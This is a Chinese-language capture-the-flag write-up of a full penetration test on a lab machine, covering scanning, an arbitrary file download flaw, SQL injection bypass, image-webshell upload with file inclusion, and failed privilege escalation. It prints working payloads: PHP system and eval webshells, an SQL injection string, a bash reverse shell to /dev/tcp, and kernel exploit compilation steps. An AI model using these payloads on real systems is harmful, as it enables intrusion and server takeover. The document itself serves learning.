测试环境

靶机:云演考试题,whoami靶机(源码没有找到没有在本地搭)

攻击机:kali

信息收集

开始时访问网站发现啥信息也没有

image-20220426202955993

获取靶机ip

windows 终端 ping 即可

image-20220426202134496

扫描端口

kali 机使用 nmap -sS + ip 扫描得到靶机开放端口

image-20220426202320000

扫描目录

一开始用御剑扫,字典太小了导致啥也没扫到,robots.txt 里面的 flag 提交上去还是错的

image-20220426202540195

后来用 kali 的 dirb + url 扫描,扫到了有一个 www 目录,然后呢用 dirb + url扫这个目录又扫不出东西了

image-20220426202710842

说是这么说,还是扫到东西了的,最关键的当属phpmy目录,imagesupload_images咱都没权限访问

image-20220426205430506

于是又转到御剑,发现文件都藏在这目录下了

image-20220426203227826

开始渗透

首先访问 www

image-20220426214127779

尝试进行sql注入攻击,测试语句为万能密码:’ or 1=1 --
后续还尝试了一些弱口令以及暴力破解,但测试结果都是try again。不知道过滤规则暂时放弃sql注入。

接着一个个访问此目录下的文件,发现其中 head.php、show.php、c.php分别是照片、空白、空白。而 add.php 是文件上传页面,但是尝试上传图片之后并没有回显地址,暂时作罢。值得注意的是 test.php,乍一看没啥,但是查看网页源代码发现

image-20220426203719254

文件下载漏洞

'file' parameter is empty. Please provide file path in 'file' parameter 

提示“file”参数为空,请在“file”参数中提供文件路径。这是我们打开新世界大门的关键。

给test.php页面一个file参数
首先考虑是GET方式:http://28e7134f.lxctf.net/www/test.php?file=/etc/passwd ,无果
其次考虑POST方式,使用hackbar页面会显示下载该文件。结合burp使用可以直接看到文件的内容:

image-20220426204726095

获取数据库账号密码

由上述测试可知,test.php存在文件下载漏洞。我们如法炮制的看看其他文件内容,比如我们通过下载 c.php看到了数据库的账号whoami,密码whoami_hacker,以及数据库名ica_lab

image-20220426205756732

数据库登录后台文件是啥呢?就是前面扫到的phpmy,登陆访问

image-20220426210032836

看到ica_lab数据库,访问auth看到有一个账号密码。猜测是前面的登陆密码。

image-20220426210755198

同时发现了flag,但是这个也是错的。

image-20220426212140309

知晓sql注入绕过方式

同样利用前面的文件下载漏洞,下载www目录下的index.php文件,它涉及到前端sql注入的绕过方式

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));

这边str_replace的作用是将字符串 \ ‘ 替换为空,因此构造SQL注入登录payload时,必须含有 \ ‘ 字符串,否则会报错。urldecode的作用是将输入解码。我们在之前的payload:’ or 1=1– 做出修改,在最后增加 \ ‘,str_replace会将这个\ ‘ 替换为空,所以相当于没加。

登录前端

此刻我们就有两种方法登录了

由于我们在数据库中获取了账号密码,直接登陆即可

image-20220426214525298

第二种利用上述的sql注入,账号密码均输入' or 1=1 -- /',也可成功登录(这边我靶机到期重启了一下,域名换了,不过无伤大雅)

image-20220426214658674

文件上传+包含漏洞getshell

登陆成功进入 panel.php 页面,首先查看show users模块,发现与数据库中的users模块一致

image-20220427110230267

image-20220427110304333

再看看add user模块,让我们上传文件,我们跟前面一样利用任意文件下载看看它的后端代码

if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
        if($choice==='show')
	{       
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
}

通过代码审计可知此文件存在文件包含漏洞,可以利用文件上传+包含的思路getshell

其次观察到,只允许我们上传图片类的文件,属于白名单问题,可以利用图片马

if(isset($_POST['upload']))
{
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);				  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";	
	}
}

随便找一张jpg图片,用010 editor在图片末尾加上

<?php system($_GET['cmd']); ?>

image-20220427110924330

之后上传文件,显示成功,且根据前面得到的目录,不难猜测应该是保存在uploaded_images目录下

来测试一下文件到底有没有成功包含,使用burp,在URL的post请求中加入POST /panel.php?cmd=cat%20/etc/passwd,正文中加入load=uploaded_images/ma.jpg&continue=continue

image-20220427111529624

可以看到命令已经成功执行。想想怎么用菜刀链接呢?根据前面可知照片是以POST访问的,而菜刀只能以GET访问,所以菜刀是不能连接这个图片马的。

换个思路,在之前图片马的基础上,写入一句话文件,菜刀连接一句话文件。使用burp执行命令,直接以POST方式写一句到uploaded_images下的webshell.php

要注意的是一句话要通过url编码,echo '<?php @eval($_POST['cmd']);?>' >> uploaded_images/webshell.php

image-20220427112425022

再次访问图片马 cat uplaoded_images/webshell.php (同样经过url编码)发现确实写入了

image-20220427112737982

之后利用菜刀成功连接

image-20220427113044235

image-20220427112930621

可以在根目录下找到flag(这次是真的flag)

image-20220428140548320

失败的提权

为什么说是失败的提权,因为我用的这三种方法都没有成功(哭)

方法一:ssh登录

由前面的靶机端口可探测到22端口,意味着只需要得到主机的账号密码就可以成功了
又联想到PHP默认配置文件是config.inc.php,系统路径结合phpmy(这边我都试了一下,发现在phpmy下)
同样利用任意文件下载phpmy/config.inc.php,直接查看账户信息

image-20220427122134298

得到用户名为root,密码为roottoor,尝试连接

image-20220427135721856

连接失败了,有两个原因:
1、远程服务器没有添加公钥(无法认证)
2、远程服务器公钥文件夹权限错误(.ssh.ssh/authorized_keys需要保证只有用户自己有权限,否则验证无效)

由于这俩都是指向靶机,我在菜刀里也没找到这俩文件,所以放弃这种方法。但至少我们获取了root的账号密码。

方法二:反弹shell

kali命令行里输入nc -lvnp 6666开始监听,同时burp的post请求中执行echo “bash -i >& /dev/tcp/192.168.113.130/6666 0>&1” | bash(我kali机的IP地址为192.168.113.130),同样要先经过URL编码才能发送。

image-20220427140311116

kali监听

image-20220427140401082

POST发送反弹shell命令

image-20220427152028592

遗憾的是,kali机并没有反弹会话…

我真傻,真的,我单单学者如何反弹shell,却没注意它的前提。前提是攻击机在公网ip,但是我的kali机是在内网的,靶机反弹的shell找不到在内网的kali机,所以就监听不到任何东西了…

由于我也是才接触渗透提权这块,还不是很了解,所以就没有找到很好的解决方法(或许可以找一个公网IP?)。

方法三:菜刀

在上述使用菜刀连接后,利用其自带的虚拟终端功能,查看系统内核版本,寻找提权exp。命令为uanme -acat /etc/issue

image-20220427143354789

可以在kali机上寻找与版本对应的Ubuntu本地提权漏洞exp

image-20220427143651845

官网下载exp后将文件导入菜刀

image-20220427143902000

赋予执行权限 chmod 777 37292.c;编译exp gcc 37292.c -o exp;执行exp,提权至root

image-20220427144426329

但最后还是失败了…不知道啥原因

麻了麻了这个提权搞了好久一直不成功,到最后也没有找到一种成功的方法。针对这个靶场的渗透就先做到这里,毕竟是第一次就一个靶场进行完整的渗透,在这个过程中也学到了很多之前或忽略或遗忘的知识,以及很多新的知识。后续会重点关注如何提权,会慢慢学习的XoX